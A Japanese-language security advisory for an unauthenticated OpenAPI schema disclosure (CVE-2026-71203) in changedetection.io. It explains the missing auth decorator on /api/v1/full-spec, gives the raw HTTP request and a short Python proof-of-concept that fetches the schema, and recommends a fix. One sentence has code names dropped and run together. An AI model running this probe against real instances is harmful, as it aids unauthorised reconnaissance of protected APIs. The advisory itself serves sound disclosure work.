
PoC: changedetection.io の未認証 OpenAPI スキーマ開示 (CVE-2026-71203、重要度中 5.3)
製品: dgtlmoon/changedetection.io — v0.55.7
ファイル: changedetectionio/api/Spec.py
CWE: CWE-306 — 重要な機能に対する認証の欠如
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (中)
CNA: Turan Security · CVE レコード
changedetection.io の REST API リソースは、呼び出し元の x-api-key ヘッダーを検証する @auth.check_token デコレータによって保護されています。ただし、/api/v1/full-spec (changedetectionio/api/Spec.py) に登録されている Spec リソースは例外で、その メソッドには も も付与されていません。
get@auth.check_token@validate_openapi_request認証されていないネットワーククライアントは、API キーを一切提示することなく、インスタンスの完全な OpenAPI スキーマを取得でき、内部 API の全容(すべてのリソースパス、パラメータ、レスポンス形式)が開示されます。スキーマ自体は機密性の高いユーザーデータではありませんが、攻撃者に対して、攻撃対象となる他のすべての API エンドポイントの完全かつ信頼できるマップを与えることになり、実際に保護されているリソースに対するさらなる偵察コストを引き下げます。
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
x-api-key ヘッダー、Cookie、その他の認証情報は一切不要です。レスポンスは完全な OpenAPI 仕様ドキュメントです。
概念実証 (Python):
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
API 内の他のすべての REST リソースは、そのハンドラメソッドに @auth.check_token (および @validate_openapi_request) が適用された状態で登録されています。しかし、Spec リソースの get メソッドには同様のデコレータが適用されておらず、API キーによるゲートが設けられた領域の中で唯一の認証不要エンドポイントとなっています。
他のすべての API リソースと同様に、Spec.get() に @auth.check_token を適用してください。あるいは、スキーマを公開する意図があるのであれば、それを不整合ではなく、明示的かつ文書化された決定事項にしてください。